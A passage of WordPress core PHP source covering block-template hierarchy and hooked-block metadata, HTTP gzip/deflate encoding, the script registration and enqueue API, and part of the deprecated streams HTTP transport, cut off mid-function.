		$template_hierarchy[] = $matches[1];
	} elseif ( preg_match( '/^(taxonomy|single)-(.+)$/', $slug, $matches ) ) {
		$type           = $matches[1];
		$slug_remaining = $matches[2];

		$items = 'single' === $type ? get_post_types() : get_taxonomies();
		foreach ( $items as $item ) {
			if ( ! str_starts_with( $slug_remaining, $item ) ) {
					continue;
			}

			// If $slug_remaining is equal to $post_type or $taxonomy we have
			// the single-$post_type template or the taxonomy-$taxonomy template.
			if ( $slug_remaining === $item ) {
				$template_hierarchy[] = $type;
				break;
			}

			// If $slug_remaining is single-$post_type-$slug template.
			if ( strlen( $slug_remaining ) > strlen( $item ) + 1 ) {
				$template_hierarchy[] = "$type-$item";
				$template_hierarchy[] = $type;
				break;
			}
		}
	}
	// Handle `archive` template.
	if (
		str_starts_with( $slug, 'author' ) ||
		str_starts_with( $slug, 'taxonomy' ) ||
		str_starts_with( $slug, 'category' ) ||
		str_starts_with( $slug, 'tag' ) ||
		'date' === $slug
	) {
		$template_hierarchy[] = 'archive';
	}
	// Handle `single` template.
	if ( 'attachment' === $slug ) {
		$template_hierarchy[] = 'single';
	}
	// Handle `singular` template.
	if (
		str_starts_with( $slug, 'single' ) ||
		str_starts_with( $slug, 'page' ) ||
		'attachment' === $slug
	) {
		$template_hierarchy[] = 'singular';
	}
	$template_hierarchy[] = 'index';
	return $template_hierarchy;
}

/**
 * Inject ignoredHookedBlocks metadata attributes into a template or template part.
 *
 * Given an object that represents a `wp_template` or `wp_template_part` post object
 * prepared for inserting or updating the database, locate all blocks that have
 * hooked blocks, and inject a `metadata.ignoredHookedBlocks` attribute into the anchor
 * blocks to reflect the latter.
 *
 * @since 6.5.0
 * @access private
 *
 * @param stdClass        $changes    An object representing a template or template part
 *                                    prepared for inserting or updating the database.
 * @param WP_REST_Request $deprecated Deprecated. Not used.
 * @return stdClass|WP_Error The updated object representing a template or template part.
 */
function inject_ignored_hooked_blocks_metadata_attributes( $changes, $deprecated = null ) {
	if ( null !== $deprecated ) {
		_deprecated_argument( __FUNCTION__, '6.5.3' );
	}

	$hooked_blocks = get_hooked_blocks();
	if ( empty( $hooked_blocks ) && ! has_filter( 'hooked_block_types' ) ) {
		return $changes;
	}

	$meta  = isset( $changes->meta_input ) ? $changes->meta_input : array();
	$terms = isset( $changes->tax_input ) ? $changes->tax_input : array();

	if ( empty( $changes->ID ) ) {
		// There's no post object for this template in the database for this template yet.
		$post = $changes;
	} else {
		// Find the existing post object.
		$post = get_post( $changes->ID );

		// If the post is a revision, use the parent post's post_name and post_type.
		$post_id = wp_is_post_revision( $post );
		if ( $post_id ) {
			$parent_post     = get_post( $post_id );
			$post->post_name = $parent_post->post_name;
			$post->post_type = $parent_post->post_type;
		}

		// Apply the changes to the existing post object.
		$post = (object) array_merge( (array) $post, (array) $changes );

		$type_terms        = get_the_terms( $changes->ID, 'wp_theme' );
		$terms['wp_theme'] = ! is_wp_error( $type_terms ) && ! empty( $type_terms ) ? $type_terms[0]->name : null;
	}

	// Required for the WP_Block_Template. Update the post object with the current time.
	$post->post_modified = current_time( 'mysql' );

	// If the post_author is empty, set it to the current user.
	if ( empty( $post->post_author ) ) {
		$post->post_author = get_current_user_id();
	}

	if ( 'wp_template_part' === $post->post_type && ! isset( $terms['wp_template_part_area'] ) ) {
		$area_terms                     = get_the_terms( $changes->ID, 'wp_template_part_area' );
		$terms['wp_template_part_area'] = ! is_wp_error( $area_terms ) && ! empty( $area_terms ) ? $area_terms[0]->name : null;
	}

	$template = _build_block_template_object_from_post_object( new WP_Post( $post ), $terms, $meta );

	if ( is_wp_error( $template ) ) {
		return $template;
	}

	$before_block_visitor = make_before_block_visitor( $hooked_blocks, $template, 'set_ignored_hooked_blocks_metadata' );
	$after_block_visitor  = make_after_block_visitor( $hooked_blocks, $template, 'set_ignored_hooked_blocks_metadata' );

	$blocks                = parse_blocks( $changes->post_content );
	$changes->post_content = traverse_and_serialize_blocks( $blocks, $before_block_visitor, $after_block_visitor );

	return $changes;
}
<?php
/**
 * HTTP API: WP_Http_Encoding class
 *
 * @package WordPress
 * @subpackage HTTP
 * @since 4.4.0
 */

/**
 * Core class used to implement deflate and gzip transfer encoding support for HTTP requests.
 *
 * Includes RFC 1950, RFC 1951, and RFC 1952.
 *
 * @since 2.8.0
 */
#[AllowDynamicProperties]
class WP_Http_Encoding {

	/**
	 * Compress raw string using the deflate format.
	 *
	 * Supports the RFC 1951 standard.
	 *
	 * @since 2.8.0
	 *
	 * @param string $raw      String to compress.
	 * @param int    $level    Optional. Compression level, 9 is highest. Default 9.
	 * @param string $supports Optional, not used. When implemented it will choose
	 *                         the right compression based on what the server supports.
	 * @return string|false Compressed string on success, false on failure.
	 */
	public static function compress( $raw, $level = 9, $supports = null ) {
		return gzdeflate( $raw, $level );
	}

	/**
	 * Decompression of deflated string.
	 *
	 * Will attempt to decompress using the RFC 1950 standard, and if that fails
	 * then the RFC 1951 standard deflate will be attempted. Finally, the RFC
	 * 1952 standard gzip decode will be attempted. If all fail, then the
	 * original compressed string will be returned.
	 *
	 * @since 2.8.0
	 *
	 * @param string $compressed String to decompress.
	 * @param int    $length     The optional length of the compressed data.
	 * @return string|false Decompressed string on success, false on failure.
	 */
	public static function decompress( $compressed, $length = null ) {

		if ( empty( $compressed ) ) {
			return $compressed;
		}

		$decompressed = @gzinflate( $compressed );
		if ( false !== $decompressed ) {
			return $decompressed;
		}

		$decompressed = self::compatible_gzinflate( $compressed );
		if ( false !== $decompressed ) {
			return $decompressed;
		}

		$decompressed = @gzuncompress( $compressed );
		if ( false !== $decompressed ) {
			return $decompressed;
		}

		if ( function_exists( 'gzdecode' ) ) {
			$decompressed = @gzdecode( $compressed );

			if ( false !== $decompressed ) {
				return $decompressed;
			}
		}

		return $compressed;
	}

	/**
	 * Decompression of deflated string while staying compatible with the majority of servers.
	 *
	 * Certain Servers will return deflated data with headers which PHP's gzinflate()
	 * function cannot handle out of the box. The following function has been created from
	 * various snippets on the gzinflate() PHP documentation.
	 *
	 * Warning: Magic numbers within. Due to the potential different formats that the compressed
	 * data may be returned in, some "magic offsets" are needed to ensure proper decompression
	 * takes place. For a simple pragmatic way to determine the magic offset in use, see:
	 * https://core.trac.wordpress.org/ticket/18273
	 *
	 * @since 2.8.1
	 *
	 * @link https://core.trac.wordpress.org/ticket/18273
	 * @link https://www.php.net/manual/en/function.gzinflate.php#70875
	 * @link https://www.php.net/manual/en/function.gzinflate.php#77336
	 *
	 * @param string $gz_data String to decompress.
	 * @return string|false Decompressed string on success, false on failure.
	 */
	public static function compatible_gzinflate( $gz_data ) {

		// Compressed data might contain a full header, if so strip it for gzinflate().
		if ( str_starts_with( $gz_data, "\x1f\x8b\x08" ) ) {
			$i   = 10;
			$flg = ord( substr( $gz_data, 3, 1 ) );
			if ( $flg > 0 ) {
				if ( $flg & 4 ) {
					list($xlen) = unpack( 'v', substr( $gz_data, $i, 2 ) );
					$i          = $i + 2 + $xlen;
				}
				if ( $flg & 8 ) {
					$i = strpos( $gz_data, "\0", $i ) + 1;
				}
				if ( $flg & 16 ) {
					$i = strpos( $gz_data, "\0", $i ) + 1;
				}
				if ( $flg & 2 ) {
					$i = $i + 2;
				}
			}
			$decompressed = @gzinflate( substr( $gz_data, $i, -8 ) );
			if ( false !== $decompressed ) {
				return $decompressed;
			}
		}

		// Compressed data from java.util.zip.Deflater amongst others.
		$decompressed = @gzinflate( substr( $gz_data, 2 ) );
		if ( false !== $decompressed ) {
			return $decompressed;
		}

		return false;
	}

	/**
	 * What encoding types to accept and their priority values.
	 *
	 * @since 2.8.0
	 *
	 * @param string $url
	 * @param array  $args
	 * @return string Types of encoding to accept.
	 */
	public static function accept_encoding( $url, $args ) {
		$type                = array();
		$compression_enabled = self::is_available();

		if ( ! $args['decompress'] ) { // Decompression specifically disabled.
			$compression_enabled = false;
		} elseif ( $args['stream'] ) { // Disable when streaming to file.
			$compression_enabled = false;
		} elseif ( isset( $args['limit_response_size'] ) ) { // If only partial content is being requested, we won't be able to decompress it.
			$compression_enabled = false;
		}

		if ( $compression_enabled ) {
			if ( function_exists( 'gzinflate' ) ) {
				$type[] = 'deflate;q=1.0';
			}

			if ( function_exists( 'gzuncompress' ) ) {
				$type[] = 'compress;q=0.5';
			}

			if ( function_exists( 'gzdecode' ) ) {
				$type[] = 'gzip;q=0.5';
			}
		}

		/**
		 * Filters the allowed encoding types.
		 *
		 * @since 3.6.0
		 *
		 * @param string[] $type Array of what encoding types to accept and their priority values.
		 * @param string   $url  URL of the HTTP request.
		 * @param array    $args HTTP request arguments.
		 */
		$type = apply_filters( 'wp_http_accept_encoding', $type, $url, $args );

		return implode( ', ', $type );
	}

	/**
	 * What encoding the content used when it was compressed to send in the headers.
	 *
	 * @since 2.8.0
	 *
	 * @return string Content-Encoding string to send in the header.
	 */
	public static function content_encoding() {
		return 'deflate';
	}

	/**
	 * Whether the content be decoded based on the headers.
	 *
	 * @since 2.8.0
	 *
	 * @param array|string $headers All of the available headers.
	 * @return bool
	 */
	public static function should_decode( $headers ) {
		if ( is_array( $headers ) ) {
			if ( array_key_exists( 'content-encoding', $headers ) && ! empty( $headers['content-encoding'] ) ) {
				return true;
			}
		} elseif ( is_string( $headers ) ) {
			return ( stripos( $headers, 'content-encoding:' ) !== false );
		}

		return false;
	}

	/**
	 * Whether decompression and compression are supported by the PHP version.
	 *
	 * Each function is tested instead of checking for the zlib extension, to
	 * ensure that the functions all exist in the PHP version and aren't
	 * disabled.
	 *
	 * @since 2.8.0
	 *
	 * @return bool
	 */
	public static function is_available() {
		return ( function_exists( 'gzuncompress' ) || function_exists( 'gzdeflate' ) || function_exists( 'gzinflate' ) );
	}
}
<?php
/**
 * Dependencies API: Scripts functions
 *
 * @since 2.6.0
 *
 * @package WordPress
 * @subpackage Dependencies
 */

/**
 * Initializes $wp_scripts if it has not been set.
 *
 * @global WP_Scripts $wp_scripts
 *
 * @since 4.2.0
 *
 * @return WP_Scripts WP_Scripts instance.
 */
function wp_scripts() {
	global $wp_scripts;

	if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
		$wp_scripts = new WP_Scripts();
	}

	return $wp_scripts;
}

/**
 * Helper function to output a _doing_it_wrong message when applicable.
 *
 * @ignore
 * @since 4.2.0
 * @since 5.5.0 Added the `$handle` parameter.
 *
 * @param string $function_name Function name.
 * @param string $handle        Optional. Name of the script or stylesheet that was
 *                              registered or enqueued too early. Default empty.
 */
function _wp_scripts_maybe_doing_it_wrong( $function_name, $handle = '' ) {
	if ( did_action( 'init' ) || did_action( 'wp_enqueue_scripts' )
		|| did_action( 'admin_enqueue_scripts' ) || did_action( 'login_enqueue_scripts' )
	) {
		return;
	}

	$message = sprintf(
		/* translators: 1: wp_enqueue_scripts, 2: admin_enqueue_scripts, 3: login_enqueue_scripts */
		__( 'Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks.' ),
		'<code>wp_enqueue_scripts</code>',
		'<code>admin_enqueue_scripts</code>',
		'<code>login_enqueue_scripts</code>'
	);

	if ( $handle ) {
		$message .= ' ' . sprintf(
			/* translators: %s: Name of the script or stylesheet. */
			__( 'This notice was triggered by the %s handle.' ),
			'<code>' . $handle . '</code>'
		);
	}

	_doing_it_wrong(
		$function_name,
		$message,
		'3.3.0'
	);
}

/**
 * Prints scripts in document head that are in the $handles queue.
 *
 * Called by admin-header.php and {@see 'wp_head'} hook. Since it is called by wp_head on every page load,
 * the function does not instantiate the WP_Scripts object unless script names are explicitly passed.
 * Makes use of already-instantiated `$wp_scripts` global if present. Use provided {@see 'wp_print_scripts'}
 * hook to register/enqueue new scripts.
 *
 * @see WP_Scripts::do_item()
 * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
 *
 * @since 2.1.0
 *
 * @param string|string[]|false $handles Optional. Scripts to be printed. Default 'false'.
 * @return string[] On success, an array of handles of processed WP_Dependencies items; otherwise, an empty array.
 */
function wp_print_scripts( $handles = false ) {
	global $wp_scripts;

	/**
	 * Fires before scripts in the $handles queue are printed.
	 *
	 * @since 2.1.0
	 */
	do_action( 'wp_print_scripts' );

	if ( '' === $handles ) { // For 'wp_head'.
		$handles = false;
	}

	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__ );

	if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
		if ( ! $handles ) {
			return array(); // No need to instantiate if nothing is there.
		}
	}

	return wp_scripts()->do_items( $handles );
}

/**
 * Adds extra code to a registered script.
 *
 * Code will only be added if the script is already in the queue.
 * Accepts a string `$data` containing the code. If two or more code blocks
 * are added to the same script `$handle`, they will be printed in the order
 * they were added, i.e. the latter added code can redeclare the previous.
 *
 * @since 4.5.0
 *
 * @see WP_Scripts::add_inline_script()
 *
 * @param string $handle   Name of the script to add the inline script to.
 * @param string $data     String containing the JavaScript to be added.
 * @param string $position Optional. Whether to add the inline script before the handle
 *                         or after. Default 'after'.
 * @return bool True on success, false on failure.
 */
function wp_add_inline_script( $handle, $data, $position = 'after' ) {
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	if ( false !== stripos( $data, '</script>' ) ) {
		_doing_it_wrong(
			__FUNCTION__,
			sprintf(
				/* translators: 1: <script>, 2: wp_add_inline_script() */
				__( 'Do not pass %1$s tags to %2$s.' ),
				'<code>&lt;script&gt;</code>',
				'<code>wp_add_inline_script()</code>'
			),
			'4.5.0'
		);
		$data = trim( preg_replace( '#<script[^>]*>(.*)</script>#is', '$1', $data ) );
	}

	return wp_scripts()->add_inline_script( $handle, $data, $position );
}

/**
 * Registers a new script.
 *
 * Registers a script to be enqueued later using the wp_enqueue_script() function.
 *
 * @see WP_Dependencies::add()
 * @see WP_Dependencies::add_data()
 *
 * @since 2.1.0
 * @since 4.3.0 A return value was added.
 * @since 6.3.0 The $in_footer parameter of type boolean was overloaded to be an $args parameter of type array.
 *
 * @param string           $handle    Name of the script. Should be unique.
 * @param string|false     $src       Full URL of the script, or path of the script relative to the WordPress root directory.
 *                                    If source is set to false, script is an alias of other scripts it depends on.
 * @param string[]         $deps      Optional. An array of registered script handles this script depends on. Default empty array.
 * @param string|bool|null $ver       Optional. String specifying script version number, if it has one, which is added to the URL
 *                                    as a query string for cache busting purposes. If version is set to false, a version
 *                                    number is automatically added equal to current installed WordPress version.
 *                                    If set to null, no version is added.
 * @param array|bool       $args     {
 *     Optional. An array of additional script loading strategies. Default empty array.
 *     Otherwise, it may be a boolean in which case it determines whether the script is printed in the footer. Default false.
 *
 *     @type string    $strategy     Optional. If provided, may be either 'defer' or 'async'.
 *     @type bool      $in_footer    Optional. Whether to print the script in the footer. Default 'false'.
 * }
 * @return bool Whether the script has been registered. True on success, false on failure.
 */
function wp_register_script( $handle, $src, $deps = array(), $ver = false, $args = array() ) {
	if ( ! is_array( $args ) ) {
		$args = array(
			'in_footer' => (bool) $args,
		);
	}
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	$wp_scripts = wp_scripts();

	$registered = $wp_scripts->add( $handle, $src, $deps, $ver );
	if ( ! empty( $args['in_footer'] ) ) {
		$wp_scripts->add_data( $handle, 'group', 1 );
	}
	if ( ! empty( $args['strategy'] ) ) {
		$wp_scripts->add_data( $handle, 'strategy', $args['strategy'] );
	}
	return $registered;
}

/**
 * Localizes a script.
 *
 * Works only if the script has already been registered.
 *
 * Accepts an associative array `$l10n` and creates a JavaScript object:
 *
 *     "$object_name": {
 *         key: value,
 *         key: value,
 *         ...
 *     }
 *
 * @see WP_Scripts::localize()
 * @link https://core.trac.wordpress.org/ticket/11520
 *
 * @since 2.2.0
 *
 * @todo Documentation cleanup
 *
 * @param string $handle      Script handle the data will be attached to.
 * @param string $object_name Name for the JavaScript object. Passed directly, so it should be qualified JS variable.
 *                            Example: '/[a-zA-Z0-9_]+/'.
 * @param array  $l10n        The data itself. The data can be either a single or multi-dimensional array.
 * @return bool True if the script was successfully localized, false otherwise.
 */
function wp_localize_script( $handle, $object_name, $l10n ) {
	$wp_scripts = wp_scripts();

	return $wp_scripts->localize( $handle, $object_name, $l10n );
}

/**
 * Sets translated strings for a script.
 *
 * Works only if the script has already been registered.
 *
 * @see WP_Scripts::set_translations()
 * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
 *
 * @since 5.0.0
 * @since 5.1.0 The `$domain` parameter was made optional.
 *
 * @param string $handle Script handle the textdomain will be attached to.
 * @param string $domain Optional. Text domain. Default 'default'.
 * @param string $path   Optional. The full file path to the directory containing translation files.
 * @return bool True if the text domain was successfully localized, false otherwise.
 */
function wp_set_script_translations( $handle, $domain = 'default', $path = '' ) {
	global $wp_scripts;

	if ( ! ( $wp_scripts instanceof WP_Scripts ) ) {
		_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );
		return false;
	}

	return $wp_scripts->set_translations( $handle, $domain, $path );
}

/**
 * Removes a registered script.
 *
 * Note: there are intentional safeguards in place to prevent critical admin scripts,
 * such as jQuery core, from being unregistered.
 *
 * @see WP_Dependencies::remove()
 *
 * @since 2.1.0
 *
 * @global string $pagenow The filename of the current screen.
 *
 * @param string $handle Name of the script to be removed.
 */
function wp_deregister_script( $handle ) {
	global $pagenow;

	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	/**
	 * Do not allow accidental or negligent de-registering of critical scripts in the admin.
	 * Show minimal remorse if the correct hook is used.
	 */
	$current_filter = current_filter();
	if ( ( is_admin() && 'admin_enqueue_scripts' !== $current_filter ) ||
		( 'wp-login.php' === $pagenow && 'login_enqueue_scripts' !== $current_filter )
	) {
		$not_allowed = array(
			'jquery',
			'jquery-core',
			'jquery-migrate',
			'jquery-ui-core',
			'jquery-ui-accordion',
			'jquery-ui-autocomplete',
			'jquery-ui-button',
			'jquery-ui-datepicker',
			'jquery-ui-dialog',
			'jquery-ui-draggable',
			'jquery-ui-droppable',
			'jquery-ui-menu',
			'jquery-ui-mouse',
			'jquery-ui-position',
			'jquery-ui-progressbar',
			'jquery-ui-resizable',
			'jquery-ui-selectable',
			'jquery-ui-slider',
			'jquery-ui-sortable',
			'jquery-ui-spinner',
			'jquery-ui-tabs',
			'jquery-ui-tooltip',
			'jquery-ui-widget',
			'underscore',
			'backbone',
		);

		if ( in_array( $handle, $not_allowed, true ) ) {
			_doing_it_wrong(
				__FUNCTION__,
				sprintf(
					/* translators: 1: Script name, 2: wp_enqueue_scripts */
					__( 'Do not deregister the %1$s script in the administration area. To target the front-end theme, use the %2$s hook.' ),
					"<code>$handle</code>",
					'<code>wp_enqueue_scripts</code>'
				),
				'3.6.0'
			);
			return;
		}
	}

	wp_scripts()->remove( $handle );
}

/**
 * Enqueues a script.
 *
 * Registers the script if `$src` provided (does NOT overwrite), and enqueues it.
 *
 * @see WP_Dependencies::add()
 * @see WP_Dependencies::add_data()
 * @see WP_Dependencies::enqueue()
 *
 * @since 2.1.0
 * @since 6.3.0 The $in_footer parameter of type boolean was overloaded to be an $args parameter of type array.
 *
 * @param string           $handle    Name of the script. Should be unique.
 * @param string           $src       Full URL of the script, or path of the script relative to the WordPress root directory.
 *                                    Default empty.
 * @param string[]         $deps      Optional. An array of registered script handles this script depends on. Default empty array.
 * @param string|bool|null $ver       Optional. String specifying script version number, if it has one, which is added to the URL
 *                                    as a query string for cache busting purposes. If version is set to false, a version
 *                                    number is automatically added equal to current installed WordPress version.
 *                                    If set to null, no version is added.
 * @param array|bool       $args     {
 *     Optional. An array of additional script loading strategies. Default empty array.
 *     Otherwise, it may be a boolean in which case it determines whether the script is printed in the footer. Default false.
 *
 *     @type string    $strategy     Optional. If provided, may be either 'defer' or 'async'.
 *     @type bool      $in_footer    Optional. Whether to print the script in the footer. Default 'false'.
 * }
 */
function wp_enqueue_script( $handle, $src = '', $deps = array(), $ver = false, $args = array() ) {
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	$wp_scripts = wp_scripts();

	if ( $src || ! empty( $args ) ) {
		$_handle = explode( '?', $handle );
		if ( ! is_array( $args ) ) {
			$args = array(
				'in_footer' => (bool) $args,
			);
		}

		if ( $src ) {
			$wp_scripts->add( $_handle[0], $src, $deps, $ver );
		}
		if ( ! empty( $args['in_footer'] ) ) {
			$wp_scripts->add_data( $_handle[0], 'group', 1 );
		}
		if ( ! empty( $args['strategy'] ) ) {
			$wp_scripts->add_data( $_handle[0], 'strategy', $args['strategy'] );
		}
	}

	$wp_scripts->enqueue( $handle );
}

/**
 * Removes a previously enqueued script.
 *
 * @see WP_Dependencies::dequeue()
 *
 * @since 3.1.0
 *
 * @param string $handle Name of the script to be removed.
 */
function wp_dequeue_script( $handle ) {
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	wp_scripts()->dequeue( $handle );
}

/**
 * Determines whether a script has been added to the queue.
 *
 * For more information on this and similar theme functions, check out
 * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/
 * Conditional Tags} article in the Theme Developer Handbook.
 *
 * @since 2.8.0
 * @since 3.5.0 'enqueued' added as an alias of the 'queue' list.
 *
 * @param string $handle Name of the script.
 * @param string $status Optional. Status of the script to check. Default 'enqueued'.
 *                       Accepts 'enqueued', 'registered', 'queue', 'to_do', and 'done'.
 * @return bool Whether the script is queued.
 */
function wp_script_is( $handle, $status = 'enqueued' ) {
	_wp_scripts_maybe_doing_it_wrong( __FUNCTION__, $handle );

	return (bool) wp_scripts()->query( $handle, $status );
}

/**
 * Adds metadata to a script.
 *
 * Works only if the script has already been registered.
 *
 * Possible values for $key and $value:
 * 'conditional' string Comments for IE 6, lte IE 7, etc.
 *
 * @since 4.2.0
 *
 * @see WP_Dependencies::add_data()
 *
 * @param string $handle Name of the script.
 * @param string $key    Name of data point for which we're storing a value.
 * @param mixed  $value  String containing the data to be added.
 * @return bool True on success, false on failure.
 */
function wp_script_add_data( $handle, $key, $value ) {
	return wp_scripts()->add_data( $handle, $key, $value );
}
<?php
/**
 * HTTP API: WP_Http_Streams class
 *
 * @package WordPress
 * @subpackage HTTP
 * @since 4.4.0
 */

/**
 * Core class used to integrate PHP Streams as an HTTP transport.
 *
 * @since 2.7.0
 * @since 3.7.0 Combined with the fsockopen transport and switched to `stream_socket_client()`.
 * @deprecated 6.4.0 Use WP_Http
 * @see WP_Http
 */
#[AllowDynamicProperties]
class WP_Http_Streams {
	/**
	 * Send a HTTP request to a URI using PHP Streams.
	 *
	 * @see WP_Http::request() For default options descriptions.
	 *
	 * @since 2.7.0
	 * @since 3.7.0 Combined with the fsockopen transport and switched to stream_socket_client().
	 *
	 * @param string       $url  The request URL.
	 * @param string|array $args Optional. Override the defaults.
	 * @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
	 */
	public function request( $url, $args = array() ) {
		$defaults = array(
			'method'      => 'GET',
			'timeout'     => 5,
			'redirection' => 5,
			'httpversion' => '1.0',
			'blocking'    => true,
			'headers'     => array(),
			'body'        => null,
			'cookies'     => array(),
			'decompress'  => false,
			'stream'      => false,
			'filename'    => null,
		);

		$parsed_args = wp_parse_args( $args, $defaults );

		if ( isset( $parsed_args['headers']['User-Agent'] ) ) {
			$parsed_args['user-agent'] = $parsed_args['headers']['User-Agent'];
			unset( $parsed_args['headers']['User-Agent'] );
		} elseif ( isset( $parsed_args['headers']['user-agent'] ) ) {
			$parsed_args['user-agent'] = $parsed_args['headers']['user-agent'];
			unset( $parsed_args['headers']['user-agent'] );
		}

		// Construct Cookie: header if any cookies are set.
		WP_Http::buildCookieHeader( $parsed_args );

		$parsed_url = parse_url( $url );

		$connect_host = $parsed_url['host'];

		$secure_transport = ( 'ssl' === $parsed_url['scheme'] || 'https' === $parsed_url['scheme'] );
		if ( ! isset( $parsed_url['port'] ) ) {
			if ( 'ssl' === $parsed_url['scheme'] || 'https' === $parsed_url['scheme'] ) {
				$parsed_url['port'] = 443;
				$secure_transport   = true;
			} else {
				$parsed_url['port'] = 80;
			}
		}

		// Always pass a path, defaulting to the root in cases such as http://example.com.
		if ( ! isset( $parsed_url['path'] ) ) {
			$parsed_url['path'] = '/';
		}

		if ( isset( $parsed_args['headers']['Host'] ) || isset( $parsed_args['headers']['host'] ) ) {
			if ( isset( $parsed_args['headers']['Host'] ) ) {
				$parsed_url['host'] = $parsed_args['headers']['Host'];
			} else {
				$parsed_url['host'] = $parsed_args['headers']['host'];
			}
			unset( $parsed_args['headers']['Host'], $parsed_args['headers']['host'] );
		}

		/*
		 * Certain versions of PHP have issues with 'localhost' and IPv6, It attempts to connect
		 * to ::1, which fails when the server is not set up for it. For compatibility, always
		 * connect to the IPv4 address.
		 */
		if ( 'localhost' === strtolower( $connect_host ) ) {
			$connect_host = '127.0.0.1';
		}

		$connect_host = $secure_transport ? 'ssl://' . $connect_host : 'tcp://' . $connect_host;

		$is_local   = isset( $parsed_args['local'] ) && $parsed_args['local'];
		$ssl_verify = isset( $parsed_args['sslverify'] ) && $parsed_args['sslverify'];

		if ( $is_local ) {
			/**
			 * Filters whether SSL should be verified for local HTTP API requests.
			 *
			 * @since 2.8.0
			 * @since 5.1.0 The `$url` parameter was added.
			 *
			 * @param bool|string $ssl_verify Boolean to control whether to verify the SSL connection
			 *                                or path to an SSL certificate.
			 * @param string      $url        The request URL.
			 */
			$ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify, $url );
		} elseif ( ! $is_local ) {
			/** This filter is documented in wp-includes/class-wp-http.php */
			$ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify, $url );
		}

		$proxy = new WP_HTTP_Proxy();

		$context = stream_context_create(
			array(
				'ssl' => array(
					'verify_peer'       => $ssl_verify,
					// 'CN_match' => $parsed_url['host'], // This is handled by self::verify_ssl_certificate().
					'capture_peer_cert' => $ssl_verify,
					'SNI_enabled'       => true,
					'cafile'            => $parsed_args['sslcertificates'],
					'allow_self_signed' => ! $ssl_verify,
				),
			)
		);

		$timeout  = (int) floor( $parsed_args['timeout'] );
		$utimeout = 0;

		if ( $timeout !== (int) $parsed_args['timeout'] ) {
			$utimeout = 1000000 * $parsed_args['timeout'] % 1000000;
		}

		$connect_timeout = max( $timeout, 1 );

		// Store error number.
		$connection_error = null;

		// Store error string.
		$connection_error_str = null;

		if ( ! WP_DEBUG ) {
			// In the event that the SSL connection fails, silence the many PHP warnings.
			if ( $secure_transport ) {
				$error_reporting = error_reporting( 0 );
			}

			if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {
				// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
				$handle = @stream_socket_client(
					'tcp://' . $proxy->host() . ':' . $proxy->port(),
					$connection_error,
					$connection_error_str,
					$connect_timeout,
					STREAM_CLIENT_CONNECT,
					$context
				);
			} else {
				// phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged
				$handle = @stream_socket_client(
					$connect_host . ':' . $parsed_url['port'],
					$connection_error,
					$connection_error_str,
					$connect_timeout,
					STREAM_CLIENT_CONNECT,
					$context
				);
			}

			if ( $secure_transport ) {
				error_reporting( $error_reporting );
			}
		} else {
			if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {
				$handle = stream_socket_client(
					'tcp://' . $proxy->host() . ':' . $proxy->port(),
					$connection_error,
					$connection_error_str,
					$connect_timeout,
					STREAM_CLIENT_CONNECT,
					$context
				);
			} else {
				$handle = stream_socket_client(
					$connect_host . ':' . $parsed_url['port'],
					$connection_error,
					$connection_error_str,
					$connect_timeout,
					STREAM_CLIENT_CONNECT,
					$context
				);
			}
		}

		if ( false === $handle ) {
			// SSL connection failed due to expired/invalid cert, or, OpenSSL configuration is broken.
			if ( $secure_transport && 0 === $connection_error && '' === $connection_error_str ) {
				return new WP_Error( 'http_request_failed', __( 'The SSL certificate for the host could not be verified.' ) );
			}

			return new WP_Error( 'http_request_failed', $connection_error . ': ' . $connection_error_str );
		}

		// Verify that the SSL certificate is valid for this request.
		if ( $secure_transport && $ssl_verify && ! $proxy->is_enabled() ) {
			if ( ! self::verify_ssl_certificate( $handle, $parsed_url['host'] ) ) {
				return new WP_Error( 'http_request_failed', __( 'The SSL certificate for the host could not be verified.' ) );
			}
		}

		stream_set_timeout( $handle, $timeout, $utimeout );

		if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) { // Some proxies require full URL in this field.
			$request_path = $url;
		} else {
			$request_path = $parsed_url['path'] . ( isset( $parsed_url['query'] ) ? '?' . $parsed_url['query'] : '' );
		}

		$headers = strtoupper( $parsed_args['method'] ) . ' ' . $request_path . ' HTTP/' . $parsed_args['httpversion'] . "\r\n";

		$include_port_in_host_header = (
			( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) )
			|| ( 'http' === $parsed_url['scheme'] && 80 !== $parsed_url['port'] )
			|| ( 'https' === $parsed_url['scheme'] && 443 !== $parsed_url['port'] )
		);

		if ( $include_port_in_host_header ) {
			$headers .= 'Host: ' . $parsed_url['host'] . ':' . $parsed_url['port'] . "\r\n";
		} else {
			$headers .= 'Host: ' . $parsed_url['host'] . "\r\n";
		}

		if ( isset( $parsed_args['user-agent'] ) ) {
			$headers .= 'User-agent: ' . $parsed_args['user-agent'] . "\r\n";
		}

		if ( is_array( $parsed_args['headers'] ) ) {
			foreach ( (array) $parsed_args['headers'] as $header => $header_value ) {
				$headers .= $header . ': ' . $header_value . "\r\n";
			}
		} else {
			$headers .= $parsed_args['headers'];
		}

		if ( $proxy->use_authentication() ) {
			$headers .= $proxy->authentication_header() . "\r\n";
		}

		$headers .= "\r\n";

		if ( ! is_null( $parsed_args['body'] ) ) {
			$headers .= $parsed_args['body'];
		}

		fwrite( $handle, $headers );

		if ( ! $parsed_args['blocking'] ) {
			stream_set_blocking( $handle, 0 );
			fclose( $handle );
			return array(
				'headers'  => array(),
				'body'     => '',
				'response' => array(
